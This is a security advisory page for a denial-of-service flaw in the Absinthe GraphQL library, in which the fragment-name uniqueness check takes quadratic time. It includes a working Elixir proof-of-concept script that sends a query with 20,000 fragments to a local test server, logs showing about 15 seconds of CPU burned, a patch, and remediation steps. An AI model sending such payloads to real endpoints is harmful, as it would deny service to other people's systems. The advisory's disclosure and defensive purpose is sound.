GHSA-9mhv-8h52-q7q2 — absinthe
Fix: absinthe-graphql/absinthe@223600cGHSA-9mhv-8h52-q7q2 is a CWE-407 vulnerability in absinthe. A fix is available for absinthe — see the affected versions and patch details below.
Absinthe: Quadratic fragment-name uniqueness check
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9mhv-8h52-q7q2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
absintheReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")
result =
if ms > 1000 do
"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
else
"NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
end
IO.puts(result)
Logs
HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💧Hex | absinthe | ≥ 1.2.0&&< 1.10.2 | 1.10.2mix deps.update absinthe |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for absinthe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update absinthe to 1.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9mhv-8h52-q7q2 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9mhv-8h52-q7q2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9mhv-8h52-q7q2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9mhv-8h52-q7q2 in your dependencies?
O3 Security finds GHSA-9mhv-8h52-q7q2 across Hex dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.